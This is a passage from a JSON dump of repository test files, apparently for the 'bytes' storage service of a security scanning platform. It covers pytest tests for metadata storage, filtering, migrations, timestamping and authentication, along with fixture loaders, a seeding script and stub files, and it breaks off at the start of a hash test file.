    "content": "import uuid\nfrom datetime import timedelta\n\nimport pytest\nfrom sqlalchemy.exc import DataError\n\nfrom bytes.database.sql_meta_repository import SQLMetaDataRepository\nfrom bytes.models import MimeType\nfrom bytes.repositories.meta_repository import BoefjeMetaFilter, NormalizerMetaFilter, RawDataFilter\nfrom tests.loading import get_boefje_meta, get_normalizer_meta, get_raw_data\n\n\ndef test_save_boefje_meta(meta_repository: SQLMetaDataRepository) -> None:\n    boefje_meta = get_boefje_meta()\n    second_boefje_meta = get_boefje_meta(uuid.uuid4(), boefje_id=boefje_meta.boefje.id, input_ooi=None)\n    third_boefje_meta = get_boefje_meta(uuid.uuid4(), boefje_id=\"kat-test-2\", input_ooi=boefje_meta.input_ooi)\n\n    second_boefje_meta.started_at = boefje_meta.started_at + timedelta(hours=5)\n    third_boefje_meta.started_at = boefje_meta.started_at - timedelta(hours=5)\n\n    with meta_repository:\n        meta_repository.save_boefje_meta(boefje_meta)\n        meta_repository.save_boefje_meta(second_boefje_meta)\n        meta_repository.save_boefje_meta(third_boefje_meta)\n\n    boefje_meta_from_db = meta_repository.get_boefje_meta_by_id(boefje_meta.id)\n    assert boefje_meta == boefje_meta_from_db\n\n    first_and_second = meta_repository.get_boefje_meta(\n        BoefjeMetaFilter(\n            organization=boefje_meta.organization, boefje_id=boefje_meta.boefje.id, limit=3, descending=False\n        )\n    )\n    assert len(first_and_second) == 2\n\n    assert boefje_meta == first_and_second[0]\n    assert second_boefje_meta == first_and_second[1]\n\n    second_and_first = meta_repository.get_boefje_meta(\n        BoefjeMetaFilter(organization=boefje_meta.organization, boefje_id=boefje_meta.boefje.id, limit=3)\n    )\n    assert len(second_and_first) == 2\n\n    assert boefje_meta == second_and_first[1]\n    assert second_boefje_meta == second_and_first[0]\n\n    first_and_third = meta_repository.get_boefje_meta(\n        BoefjeMetaFilter(organization=boefje_meta.organization, input_ooi=boefje_meta.input_ooi, limit=3)\n    )\n    assert len(first_and_third) == 2\n\n    assert boefje_meta == first_and_third[0]\n    assert third_boefje_meta == first_and_third[1]\n\n    third = meta_repository.get_boefje_meta(\n        BoefjeMetaFilter(organization=boefje_meta.organization, input_ooi=boefje_meta.input_ooi, descending=False)\n    )\n    assert third_boefje_meta == third[0]\n\n    wrong_organization = meta_repository.get_boefje_meta(\n        BoefjeMetaFilter(organization=\"test2\", input_ooi=boefje_meta.input_ooi, descending=False)\n    )\n    assert wrong_organization == []\n\n\ndef test_data_error_is_raised_when_boefje_id_is_too_long(meta_repository: SQLMetaDataRepository) -> None:\n    boefje_meta = get_boefje_meta()\n\n    with meta_repository:\n        boefje_meta.boefje.id = 64 * \"a\"\n        meta_repository.save_boefje_meta(boefje_meta)\n\n    with pytest.raises(DataError), meta_repository:\n        boefje_meta.id = str(uuid.uuid4())\n        boefje_meta.boefje.id = 65 * \"a\"\n        meta_repository.save_boefje_meta(boefje_meta)\n\n    meta_repository.session.rollback()  # make sure to roll back the session, so we can clean up the db\n\n\ndef test_data_error_is_raised_when_organization_id_is_too_long(meta_repository: SQLMetaDataRepository) -> None:\n    boefje_meta = get_boefje_meta()\n\n    with meta_repository:\n        boefje_meta.organization = 32 * \"t\"\n        meta_repository.save_boefje_meta(boefje_meta)\n\n    with pytest.raises(DataError), meta_repository:\n        boefje_meta.id = str(uuid.uuid4())\n        boefje_meta.organization = 33 * \"t\"\n        meta_repository.save_boefje_meta(boefje_meta)\n\n    meta_repository.session.rollback()  # make sure to roll back the session, so we can clean up the db\n\n\ndef test_save_raw(meta_repository: SQLMetaDataRepository) -> None:\n    raw = get_raw_data()\n\n    with meta_repository:\n        meta_repository.save_boefje_meta(raw.boefje_meta)\n\n    raw.mime_types = [MimeType(value=\"text/plain\")]\n\n    with meta_repository:\n        raw_id = meta_repository.save_raw(raw)\n        meta_repository.save_raw(raw)\n\n    query_filter = RawDataFilter(\n        organization=[raw.boefje_meta.organization], boefje_meta_id=raw.boefje_meta.id, normalized=False\n    )\n    first_updated_raw = meta_repository.get_raw(query_filter).pop()\n\n    assert first_updated_raw.signing_provider_url in [\"https://test\", \"https://freetsa.org/tsr\"]  # Depends on CI env\n    assert \"hash_retrieval_link\" in first_updated_raw.model_dump_json()\n    assert \"secure_hash\" in first_updated_raw.model_dump_json()\n    assert \"signing_provider\" in first_updated_raw.model_dump_json()\n\n    query_filter = RawDataFilter(\n        organization=[raw.boefje_meta.organization],\n        boefje_meta_id=raw.boefje_meta.id,\n        mime_types=[MimeType(value=\"text/plain\")],\n    )\n    first_updated_raw = meta_repository.get_raw(query_filter).pop()\n    assert \"hash_retrieval_link\" in first_updated_raw.model_dump_json()\n    assert \"secure_hash\" in first_updated_raw.model_dump_json()\n    assert \"signing_provider\" in first_updated_raw.model_dump_json()\n\n    query_filter = RawDataFilter(\n        organization=[raw.boefje_meta.organization],\n        boefje_meta_id=raw.boefje_meta.id,\n        mime_types=[MimeType(value=\"bad/mime\")],\n    )\n    empty_raws = meta_repository.get_raw(query_filter)\n    assert empty_raws == []\n\n    # No raw data has been normalized\n    query_filter = RawDataFilter(organization=[raw.boefje_meta.organization], normalized=True)\n    empty_raws = meta_repository.get_raw(query_filter)\n    assert empty_raws == []\n\n    with meta_repository:\n        meta_repository.save_normalizer_meta(get_normalizer_meta(raw_id))\n\n    # Now the raw data has been normalized\n    non_empty_raws = meta_repository.get_raw(query_filter)\n    assert len(non_empty_raws) == 1\n\n    assert meta_repository.get_raw_file_count_per_organization() == {\"test\": 2}\n\n\ndef test_filter_raw_on_organization(meta_repository: SQLMetaDataRepository) -> None:\n    raw = get_raw_data()\n    raw2 = get_raw_data()\n    raw2.boefje_meta.id = uuid.uuid4()\n\n    with meta_repository:\n        meta_repository.save_boefje_meta(raw.boefje_meta)\n        meta_repository.save_raw(raw)\n        meta_repository.save_boefje_meta(raw2.boefje_meta)\n        meta_repository.save_raw(raw2)\n\n    query_filter = RawDataFilter(\n        organization=[raw.boefje_meta.organization], boefje_meta_id=raw.boefje_meta.id, normalized=False, limit=10\n    )\n    assert len(meta_repository.get_raw(query_filter)) == 1\n\n    raw3 = get_raw_data()\n\n    raw3.boefje_meta.organization = \"test2\"\n    raw3.boefje_meta.id = uuid.uuid4()\n\n    with meta_repository:\n        meta_repository.save_boefje_meta(raw3.boefje_meta)\n        meta_repository.save_raw(raw3)\n\n    assert len(meta_repository.get_raw(query_filter)) == 1\n\n    query_filter.organization = [\"test2\"]\n    assert len(meta_repository.get_raw(query_filter)) == 0\n\n    query_filter.boefje_meta_id = raw3.boefje_meta.id\n    assert len(meta_repository.get_raw(query_filter)) == 1\n\n    assert {x.boefje_meta for x in meta_repository.get_raw(RawDataFilter(organization=[\"test\"], limit=10))} == {\n        raw.boefje_meta,\n        raw2.boefje_meta,\n    }\n    assert {x.boefje_meta for x in meta_repository.get_raw(RawDataFilter(limit=10))} == {\n        raw.boefje_meta,\n        raw2.boefje_meta,\n        raw3.boefje_meta,\n    }\n    assert {\n        x.boefje_meta for x in meta_repository.get_raw(RawDataFilter(organization=[\"test\", \"test2\"], limit=10))\n    } == {raw.boefje_meta, raw2.boefje_meta, raw3.boefje_meta}\n\n\ndef test_filter_raw_not_on_organization(meta_repository: SQLMetaDataRepository) -> None:\n    raw = get_raw_data()\n    raw2 = get_raw_data()\n    raw2.boefje_meta.id = \"c5d7d1da-7d94-4ac4-b0f6-ac065eeb0c97\"\n\n    with meta_repository:\n        meta_repository.save_boefje_meta(raw.boefje_meta)\n        meta_repository.save_raw(raw)\n        meta_repository.save_raw(raw)\n        meta_repository.save_raw(raw)\n        meta_repository.save_raw(raw)\n        meta_repository.save_raw(raw)\n        meta_repository.save_boefje_meta(raw2.boefje_meta)\n        meta_repository.save_raw(raw2)\n        meta_repository.save_raw(raw2)\n\n    # Test offset-limit\n    assert len(meta_repository.get_raw(RawDataFilter(boefje_meta_id=raw.boefje_meta.id, limit=2))) == 2\n    assert len(meta_repository.get_raw(RawDataFilter(boefje_meta_id=raw.boefje_meta.id, limit=6))) == 5\n    assert len(meta_repository.get_raw(RawDataFilter(boefje_meta_id=raw.boefje_meta.id, limit=2, offset=1))) == 2\n    assert len(meta_repository.get_raw(RawDataFilter(boefje_meta_id=raw.boefje_meta.id, limit=2, offset=4))) == 1\n\n    # Test without boefje_meta id\n    assert len(meta_repository.get_raw(RawDataFilter(limit=2, offset=4))) == 2\n    assert len(meta_repository.get_raw(RawDataFilter(limit=100))) == 7\n    assert len(meta_repository.get_raw(RawDataFilter(limit=100, normalized=False))) == 7\n\n\ndef test_filter_normalizer_meta(meta_repository: SQLMetaDataRepository) -> None:\n    with meta_repository:\n        boefje_meta = get_boefje_meta()\n        meta_repository.save_boefje_meta(boefje_meta)\n\n        raw_id = meta_repository.save_raw(get_raw_data())\n\n        normalizer_meta = get_normalizer_meta(raw_id)\n        meta_repository.save_normalizer_meta(normalizer_meta)\n\n        raw_id = meta_repository.save_raw(get_raw_data())\n\n        normalizer_meta = get_normalizer_meta(raw_id)\n        normalizer_meta.id = str(uuid.uuid4())\n        meta_repository.save_normalizer_meta(normalizer_meta)\n\n        boefje_meta = get_boefje_meta()\n        boefje_meta.id = str(uuid.uuid4())\n        boefje_meta.organization = \"test2\"\n        meta_repository.save_boefje_meta(boefje_meta)\n\n        raw = get_raw_data()\n        raw.boefje_meta = boefje_meta\n        raw_id = meta_repository.save_raw(raw)\n\n        normalizer_meta = get_normalizer_meta(raw_id)\n        normalizer_meta.id = str(uuid.uuid4())\n        meta_repository.save_normalizer_meta(normalizer_meta)\n\n    normalizer_metas = meta_repository.get_normalizer_meta(\n        NormalizerMetaFilter(raw_id=raw_id, normalizer_id=\"kat_test.main\", limit=10)\n    )\n    assert len(normalizer_metas) == 1\n\n    normalizer_metas = meta_repository.get_normalizer_meta(\n        NormalizerMetaFilter(organization=\"test\", normalizer_id=\"kat_test.main\", limit=10)\n    )\n    assert len(normalizer_metas) == 2\n\n    normalizer_metas = meta_repository.get_normalizer_meta(\n        NormalizerMetaFilter(organization=\"test\", normalizer_id=\"kat_main\", limit=10)\n    )\n    assert len(normalizer_metas) == 0\n\n    normalizer_metas = meta_repository.get_normalizer_meta(NormalizerMetaFilter(organization=\"test\", limit=10))\n    assert len(normalizer_metas) == 2\n\n    meta_ids = [meta.id for meta in normalizer_metas]\n    normalizer_metas = meta_repository.get_normalizer_metas(meta_ids)\n    assert len(normalizer_metas) == 2\n\n    normalizer_metas = meta_repository.get_normalizer_meta(NormalizerMetaFilter(organization=\"test2\", limit=10))\n    assert len(normalizer_metas) == 1\n\n    normalizer_metas = meta_repository.get_normalizer_meta(NormalizerMetaFilter(organization=\"test3\", limit=10))\n    assert len(normalizer_metas) == 0\n\n\ndef test_save_normalizer_meta(meta_repository: SQLMetaDataRepository) -> None:\n    with meta_repository:\n        boefje_meta = get_boefje_meta()\n        meta_repository.save_boefje_meta(boefje_meta)\n\n        raw_id = meta_repository.save_raw(get_raw_data())\n        normalizer_meta = get_normalizer_meta(raw_id)\n\n        meta_repository.save_normalizer_meta(normalizer_meta)\n\n    normalizer_meta_from_db = meta_repository.get_normalizer_meta_by_id(normalizer_meta.id)\n    boefje_meta_from_db = meta_repository.get_boefje_meta_by_id(normalizer_meta.raw_data.boefje_meta.id)\n\n    assert boefje_meta_from_db == normalizer_meta.raw_data.boefje_meta\n\n    normalizer_meta.raw_data.secure_hash = normalizer_meta_from_db.raw_data.secure_hash\n    normalizer_meta.raw_data.hash_retrieval_link = normalizer_meta_from_db.raw_data.hash_retrieval_link\n    normalizer_meta.raw_data.signing_provider_url = normalizer_meta_from_db.raw_data.signing_provider_url\n\n    assert normalizer_meta == normalizer_meta_from_db\n\n\ndef test_normalizer_id_length(meta_repository: SQLMetaDataRepository) -> None:\n    with meta_repository:\n        boefje_meta = get_boefje_meta()\n        meta_repository.save_boefje_meta(boefje_meta)\n\n        raw_id = meta_repository.save_raw(get_raw_data())\n        normalizer_meta = get_normalizer_meta(raw_id)\n\n        normalizer_meta.id = str(uuid.uuid4())\n        normalizer_meta.normalizer.id = 64 * \"a\"\n        meta_repository.save_normalizer_meta(normalizer_meta)\n\n    with pytest.raises(DataError), meta_repository:\n        normalizer_meta.id = str(uuid.uuid4())\n        normalizer_meta.normalizer.id = 65 * \"a\"\n        meta_repository.save_normalizer_meta(normalizer_meta)\n\n    meta_repository.session.rollback()  # make sure to roll back the session, so we can clean up the db\n\n\ndef test_normalizer_meta_pointing_to_raw_id(meta_repository: SQLMetaDataRepository) -> None:\n    with meta_repository:\n        boefje_meta = get_boefje_meta()\n        meta_repository.save_boefje_meta(boefje_meta)\n\n        raw_id = meta_repository.save_raw(get_raw_data())\n        normalizer_meta = get_normalizer_meta(raw_id)\n\n        meta_repository.save_normalizer_meta(normalizer_meta)\n\n    normalizer_meta_from_db = meta_repository.get_normalizer_meta_by_id(normalizer_meta.id)\n    boefje_meta_from_db = meta_repository.get_boefje_meta_by_id(normalizer_meta.raw_data.boefje_meta.id)\n\n    assert boefje_meta_from_db == normalizer_meta.raw_data.boefje_meta\n\n    normalizer_meta.raw_data.secure_hash = normalizer_meta_from_db.raw_data.secure_hash\n    normalizer_meta.raw_data.hash_retrieval_link = normalizer_meta_from_db.raw_data.hash_retrieval_link\n    normalizer_meta.raw_data.signing_provider_url = normalizer_meta_from_db.raw_data.signing_provider_url\n\n    assert normalizer_meta == normalizer_meta_from_db\n"
  },
  {
    "path": "bytes/tests/integration/test_migrations.py",
    "content": "import alembic.config\n\nfrom bytes.database.sql_meta_repository import SQLMetaDataRepository\nfrom bytes.models import MimeType\nfrom tests.loading import get_boefje_meta, get_raw_data\n\n\ndef test_clean_mime_types(meta_repository: SQLMetaDataRepository) -> None:\n    alembic.config.main(argv=[\"--config\", \"/app/bytes/bytes/alembic.ini\", \"--raiseerr\", \"downgrade\", \"d216ad75177d\"])\n\n    with meta_repository:\n        boefje_meta = get_boefje_meta()\n        meta_repository.save_boefje_meta(boefje_meta)\n\n        raw = get_raw_data()\n        raw.mime_types.add(MimeType(value=raw.boefje_meta.boefje.id))\n        raw_id_1 = meta_repository.save_raw(raw)\n\n        raw.mime_types.add(\n            MimeType(value=f\"boefje/{raw.boefje_meta.boefje.id}-ce293f79fd3c809a300a2837bb1da4f7115fc034a1f78\")\n        )\n        raw_id_2 = meta_repository.save_raw(raw)\n\n        raw.mime_types.add(\n            MimeType(value=f\"boefje/{raw.boefje_meta.boefje.id}-ba293f79fd3c809a300a2837bb1da4f7115fc034a1f78\")\n        )\n        raw_id_3 = meta_repository.save_raw(raw)\n\n    assert len(meta_repository.get_raw_meta_by_id(raw_id_1).mime_types) == 3\n    assert len(meta_repository.get_raw_meta_by_id(raw_id_2).mime_types) == 4\n    assert len(meta_repository.get_raw_meta_by_id(raw_id_3).mime_types) == 5\n\n    alembic.config.main(argv=[\"--config\", \"/app/bytes/bytes/alembic.ini\", \"--raiseerr\", \"upgrade\", \"head\"])\n\n    assert len(meta_repository.get_raw_meta_by_id(raw_id_1).mime_types) == 2\n    assert len(meta_repository.get_raw_meta_by_id(raw_id_2).mime_types) == 2\n    assert len(meta_repository.get_raw_meta_by_id(raw_id_3).mime_types) == 2\n\n    assert meta_repository.get_raw_meta_by_id(raw_id_3).mime_types == get_raw_data().mime_types\n"
  },
  {
    "path": "bytes/tests/integration/test_timestamper.py",
    "content": "from bytes.config import has_rfc3161_provider  # noqa: F401\nfrom bytes.database.sql_meta_repository import SQLMetaDataRepository\nfrom bytes.repositories.hash_repository import HashRepository\nfrom bytes.repositories.meta_repository import RawDataFilter\nfrom tests.loading import get_boefje_meta, get_raw_data\n\n\ndef test_rfc3161_external_api(meta_repository: SQLMetaDataRepository, mock_hash_repository: HashRepository) -> None:\n    meta = get_boefje_meta()\n\n    with meta_repository:\n        meta_repository.save_boefje_meta(meta)\n\n    with meta_repository:\n        meta_repository.save_raw(raw=get_raw_data())\n\n    query_filter = RawDataFilter(boefje_meta_id=meta.id)\n    raws = meta_repository.get_raw(query_filter)\n\n    assert (\n        raws[0].secure_hash == \"sha512:cab5427ae5ac87ff6d1ed0d1f05542795a0419a6e6e1fd67ba0754a114a\"\n        \"d136a47027ed3805e9e573352f451cb27850d7006a5edd6d86b35ec855b8af37a924a\"\n    )\n    assert raws[0].hash_retrieval_link is not None\n\n    assert mock_hash_repository.verify(raws[0].hash_retrieval_link, raws[0].secure_hash)\n"
  },
  {
    "path": "bytes/tests/loading.py",
    "content": "import datetime\nimport json\nfrom datetime import timezone\nfrom typing import Any\nfrom uuid import UUID\n\nfrom bytes.config import BASE_DIR\nfrom bytes.models import Boefje, BoefjeMeta, MimeType, Normalizer, NormalizerMeta, RawData, RawDataMeta\n\n\ndef load_stub(relative_path: str) -> dict[str, Any]:\n    full_path = BASE_DIR / \"tests\" / \"stubs\" / relative_path\n\n    return dict(json.loads(full_path.read_text()))\n\n\ndef load_stub_raw(relative_path: str) -> bytes:\n    full_path = BASE_DIR / \"tests\" / \"stubs\" / relative_path\n\n    return full_path.read_bytes()\n\n\ndef get_boefje_meta(\n    meta_id: UUID = UUID(\"d63d755b-6c23-44ab-8de6-8d144c448a71\"),\n    boefje_id: str = \"kat_test.main\",\n    input_ooi: str | None = \"Hostname|internet|test.org\",\n) -> BoefjeMeta:\n    return BoefjeMeta(\n        id=meta_id,\n        boefje=Boefje(id=boefje_id, version=\"1\"),\n        input_ooi=input_ooi,\n        arguments={\"domain\": \"test.org\"},\n        organization=\"test\",\n        started_at=datetime.datetime(1000, 10, 10, 10, 10, 10, tzinfo=timezone.utc),\n        ended_at=datetime.datetime(1000, 10, 10, 10, 10, 11, tzinfo=timezone.utc),\n    )\n\n\ndef get_normalizer_meta(raw_file_id: UUID = UUID(\"2c9f47db-dfca-4928-b29f-368e64b3c779\")) -> NormalizerMeta:\n    return NormalizerMeta(\n        id=UUID(\"203eedee-a590-43e1-8f80-6d18ffe529f5\"),\n        raw_data=get_raw_data_meta(raw_file_id),\n        normalizer=Normalizer(id=\"kat_test.main\"),\n        started_at=datetime.datetime(year=1001, month=10, day=10, hour=10, minute=10, second=10, tzinfo=timezone.utc),\n        ended_at=datetime.datetime(year=1001, month=10, day=10, hour=10, minute=10, second=12, tzinfo=timezone.utc),\n    )\n\n\ndef get_raw_data() -> RawData:\n    return RawData(\n        value=b\"KAT for president\",\n        mime_types=[MimeType(value=\"boefje_id/test\"), MimeType(value=\"text/plain\")],\n        boefje_meta=get_boefje_meta(),\n    )\n\n\ndef get_raw_data_meta(raw_file_id: UUID = UUID(\"2c9f47db-dfca-4928-b29f-368e64b3c779\")) -> RawDataMeta:\n    raw_data = get_raw_data()\n\n    return RawDataMeta(id=raw_file_id, boefje_meta=raw_data.boefje_meta, mime_types=raw_data.mime_types)\n"
  },
  {
    "path": "bytes/tests/seed_database.py",
    "content": "import uuid\n\nfrom bytes.database.sql_meta_repository import create_meta_data_repository\nfrom bytes.models import RawData\nfrom tests.loading import get_boefje_meta\n\n\ndef seed():\n    repository = next(create_meta_data_repository())\n    number_of_raw_files, chunk_size = int(2e6), 1000\n\n    for i in range(int(number_of_raw_files / chunk_size)):\n        with repository:\n            for j in range(chunk_size):\n                raw = b\"asdf           ---                \\n\\n testdata\" + str(i).encode()\n\n                boefje_meta = get_boefje_meta(meta_id=str(uuid.uuid4()))\n                boefje_meta.organization = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\"][i % 7]\n\n                repository.save_boefje_meta(boefje_meta)\n                repository.save_raw(RawData(value=raw, boefje_meta=boefje_meta))\n\n            print(f\"Committing chunk {i}\")\n\n\nif __name__ == \"__main__\":\n    \"\"\"This script is just a helper to generate a large set of objects to test performance with.\"\"\"\n\n    seed()\n"
  },
  {
    "path": "bytes/tests/stubs/dummy.json",
    "content": "{\n  \"id\": \"2aedd3fa-9cb6-4e96-8263-d88b0e849e65\",\n  \"boefje\": {\n    \"id\": \"kat_test\",\n    \"version\": null\n  },\n  \"organization\": \"_dev\",\n  \"input_ooi\": \"Hostname|internet|domain.com\",\n  \"arguments\": {\n    \"domain\": \"domain.com\",\n    \"amount\": 4,\n    \"input_ooi\": \"Hostname|internet|domain.com\"\n  },\n  \"started_at\": \"2018-01-01T00:00:00.000Z\",\n  \"ended_at\": \"2018-01-01T00:10:00.000Z\"\n}\n"
  },
  {
    "path": "bytes/tests/stubs/freetsa.crt",
    "content": "-----BEGIN CERTIFICATE-----\nMIIGYDCCBEigAwIBAgIJAMLphhYNqOnNMA0GCSqGSIb3DQEBDQUAMIGVMREwDwYD\nVQQKEwhGcmVlIFRTQTEQMA4GA1UECxMHUm9vdCBDQTEYMBYGA1UEAxMPd3d3LmZy\nZWV0c2Eub3JnMSIwIAYJKoZIhvcNAQkBFhNidXNpbGV6YXNAZ21haWwuY29tMRIw\nEAYDVQQHEwlXdWVyemJ1cmcxDzANBgNVBAgTBkJheWVybjELMAkGA1UEBhMCREUw\nHhcNMjYwMjE1MTk0NDIyWhcNNDAwMjAyMTk0NDIyWjCCAQsxETAPBgNVBAoMCEZy\nZWUgVFNBMQwwCgYDVQQLDANUU0ExdjB0BgNVBA0MbVRoaXMgY2VydGlmaWNhdGUg\nZGlnaXRhbGx5IHNpZ25zIGRvY3VtZW50cyBhbmQgdGltZSBzdGFtcCByZXF1ZXN0\ncyBtYWRlIHVzaW5nIHRoZSBmcmVldHNhLm9yZyBvbmxpbmUgc2VydmljZXMxGDAW\nBgNVBAMMD3d3dy5mcmVldHNhLm9yZzEkMCIGCSqGSIb3DQEJARYVYnVzaWxlemFz\nQG1haWxib3gub3JnMRIwEAYDVQQHDAlXdWVyemJ1cmcxCzAJBgNVBAYTAkRFMQ8w\nDQYDVQQIDAZCYXllcm4wdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASiFeGhstbLhxix\n0o4UAumNSwHUUlOe3DBvs8fYs580wADW59oqGSCx15bp61TSmXkwLm1JW48XnbLL\nizP6ZtjcvshV3H9uz2bS53sgDXhg1wLbIhAtraC+fHCytHeuVaujggHmMIIB4jAJ\nBgNVHRMEAjAAMB0GA1UdDgQWBBQVwL0m69RdgtFdkyYxL+9wsotGXjAfBgNVHSME\nGDAWgBT6VQ2MNGZRQ0z357OnbJWveuaklzALBgNVHQ8EBAMCBsAwFgYDVR0lAQH/\nBAwwCgYIKwYBBQUHAwgwbAYIKwYBBQUHAQEEYDBeMDMGCCsGAQUFBzAChidodHRw\nOi8vd3d3LmZyZWV0c2Eub3JnL2ZpbGVzL2NhY2VydC5wZW0wJwYIKwYBBQUHMAGG\nG2h0dHA6Ly93d3cuZnJlZXRzYS5vcmc6MjU2MDA3BgNVHR8EMDAuMCygKqAohiZo\ndHRwOi8vd3d3LmZyZWV0c2Eub3JnL2NybC9yb290X2NhLmNybDCByAYDVR0gBIHA\nMIG9MIG6BgMrBQgwgbIwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cuZnJlZXRzYS5v\ncmcvZnJlZXRzYV9jcHMuaHRtbDAyBggrBgEFBQcCARYmaHR0cDovL3d3dy5mcmVl\ndHNhLm9yZy9mcmVldHNhX2Nwcy5wZGYwRwYIKwYBBQUHAgIwOxo5RnJlZVRTQSB0\ncnVzdGVkIHRpbWVzdGFtcGluZyBTb2Z0d2FyZSBhcyBhIFNlcnZpY2UgKFNhYVMp\nMA0GCSqGSIb3DQEBDQUAA4ICAQBrMVS/YfnfMr0ziZnesBUOrDNRrNNgt3IgMNDw\nNhwl6oKWHVIhlYnM/5boljfbpZTAbqvxHI3ztT0/swxQOqTat5qBJRAY/VH1n/T4\nM9uDjSuu3qfh0ZH5PL9ENqoVW44i5NT/znQev2MGXOAHwz9kZwwzz9MFX6hbGhBq\nWa+nlAqb7Y72KFzj33m1OVHxV2Wl4YD9f91bZTFpUEGW4Ktbkmxpf/iGIPaf4WHp\noBW/O6EzofMKYlz4yXyEBh0wRRVyXltLrj+MFHqhe+PsMBllq/dCaO4W/F+AuHEl\nu7aUYWMASelphWAJiUsNMr5HAoeCSSgilqf1CSoWC+k6e4334Fym+Iy4csMex+PG\n4rSdqXJVQ+AWEdRajSPKh7yDfpNkdnO6yqQJ/tSd11XQ5cL0M9jWuCD1zHlgA+u+\nR2cry3yo23jD7qTGLhZqUvXCyWigH30/Q/RXjjDwrc4DJiQ+gRY0FhdTYqlvgMBP\nr4LcJKnNksivdj+kbz7bVSbrBAzRiazK9l841/5XMtP9BvD0hKCpQFvP9PSgCC8E\nQnKqgSe26FSJBaAQcA5TnK8NF4jkbElBxf/zyh7P3IjHso35jtgUWD1/itg9BJWb\nYUwJ4tfILpB2F0wbk1GcZDCDZoyW3Xf3trApz/Zd93gF3joc9Hh9RFveKRzWQ7dd\nUt3egQ==\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "bytes/tests/stubs/login-request.json",
    "content": "{\n  \"username\": \"test\",\n  \"password\": \"secret\"\n}\n"
  },
  {
    "path": "bytes/tests/unit/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/tests/unit/test_api.py",
    "content": "from bytes.version import __version__\n\n\ndef test_healthcheck(test_client) -> None:\n    response = test_client.get(\"/health\")\n\n    assert response.status_code == 200\n    assert response.json() == {\n        \"service\": \"bytes\",\n        \"healthy\": True,\n        \"version\": __version__,\n        \"additional\": None,\n        \"results\": [],\n    }\n"
  },
  {
    "path": "bytes/tests/unit/test_auth.py",
    "content": "from datetime import datetime, timezone\n\nfrom fastapi.testclient import TestClient\n\nfrom bytes.auth import authenticate_token\nfrom tests.loading import load_stub\n\n\ndef test_login_get_token(test_client: TestClient) -> None:\n    request = load_stub(\"login-request.json\")\n\n    response = test_client.post(\"/token\", data=request)\n\n    assert response.status_code == 200\n\n    data = response.json()\n    assert data[\"token_type\"] == \"bearer\"\n    assert authenticate_token(data[\"access_token\"]) == \"test\"\n    assert datetime.fromisoformat(data[\"expires_at\"]) > datetime.now(timezone.utc)\n\n\ndef test_login_get_token_not_authorized(test_client: TestClient) -> None:\n    request = load_stub(\"login-request.json\")\n    request[\"username\"] = \"nivlac\"\n\n    response = test_client.post(\"/token\", data=request)\n    assert response.status_code == 401\n"
  },
  {
    "path": "bytes/tests/unit/test_context_mapping.py",
    "content": "from bytes.database.db_models import BoefjeMetaInDB, NormalizerMetaInDB, RawFileInDB\nfrom bytes.database.sql_meta_repository import (\n    raw_meta_to_raw_file_in_db,\n    to_boefje_meta,\n    to_boefje_meta_in_db,\n    to_mime_type,\n    to_normalizer_meta,\n    to_normalizer_meta_in_db,\n    to_raw_data,\n    to_raw_file_in_db,\n)\nfrom tests.loading import get_boefje_meta, get_normalizer_meta, get_raw_data\n\n\ndef test_context_mapping_boefje() -> None:\n    boefje_meta = get_boefje_meta()\n    boefje_meta_in_db = to_boefje_meta_in_db(boefje_meta)\n\n    assert isinstance(boefje_meta_in_db, BoefjeMetaInDB)\n    assert str(boefje_meta.id) == boefje_meta_in_db.id\n    assert boefje_meta.boefje.id == boefje_meta_in_db.boefje_id\n    assert boefje_meta.organization == boefje_meta_in_db.organization\n    assert boefje_meta.input_ooi == boefje_meta_in_db.input_ooi\n    assert boefje_meta.boefje.version == boefje_meta_in_db.boefje_version\n    assert boefje_meta.started_at == boefje_meta_in_db.started_at\n    assert boefje_meta.ended_at == boefje_meta_in_db.ended_at\n\n    boefje_meta_new = to_boefje_meta(boefje_meta_in_db)\n\n    assert boefje_meta == boefje_meta_new\n\n\ndef test_context_mapping_normalizer() -> None:\n    normalizer_meta = get_normalizer_meta()\n    normalizer_meta_in_db = to_normalizer_meta_in_db(normalizer_meta)\n\n    # These will be hydrated by the ORM automatically\n    normalizer_meta_in_db.raw_file = raw_meta_to_raw_file_in_db(normalizer_meta.raw_data, 1)\n    normalizer_meta_in_db.raw_file.boefje_meta = to_boefje_meta_in_db(normalizer_meta.raw_data.boefje_meta)\n\n    assert isinstance(normalizer_meta_in_db, NormalizerMetaInDB)\n    assert str(normalizer_meta.id) == normalizer_meta_in_db.id\n    assert normalizer_meta.normalizer.id == normalizer_meta_in_db.normalizer_id\n    assert normalizer_meta.normalizer.version == normalizer_meta_in_db.normalizer_version\n    assert normalizer_meta.started_at == normalizer_meta_in_db.started_at\n    assert normalizer_meta.ended_at == normalizer_meta_in_db.ended_at\n    assert str(normalizer_meta.raw_data.id) == normalizer_meta_in_db.raw_file_id\n\n    normalizer_meta_new = to_normalizer_meta(normalizer_meta_in_db)\n\n    assert normalizer_meta == normalizer_meta_new\n\n\ndef test_context_mapping_raw() -> None:\n    raw_data = get_raw_data()\n    raw_data_in_db = to_raw_file_in_db(raw_data, None)\n\n    # These will be hydrated by the ORM automatically\n    raw_data_in_db.boefje_meta = to_boefje_meta_in_db(raw_data.boefje_meta)\n\n    assert isinstance(raw_data_in_db, RawFileInDB)\n    assert raw_data.hash_retrieval_link == raw_data_in_db.hash_retrieval_link\n    assert raw_data.secure_hash == raw_data_in_db.secure_hash\n    assert raw_data.signing_provider_url is None\n    assert raw_data.mime_types == {to_mime_type(mime_type) for mime_type in raw_data_in_db.mime_types}\n\n    raw_data_new = to_raw_data(raw_data_in_db, raw_data.value)\n\n    assert raw_data == raw_data_new\n"
  },
  {
    "path": "bytes/tests/unit/test_hash.py",
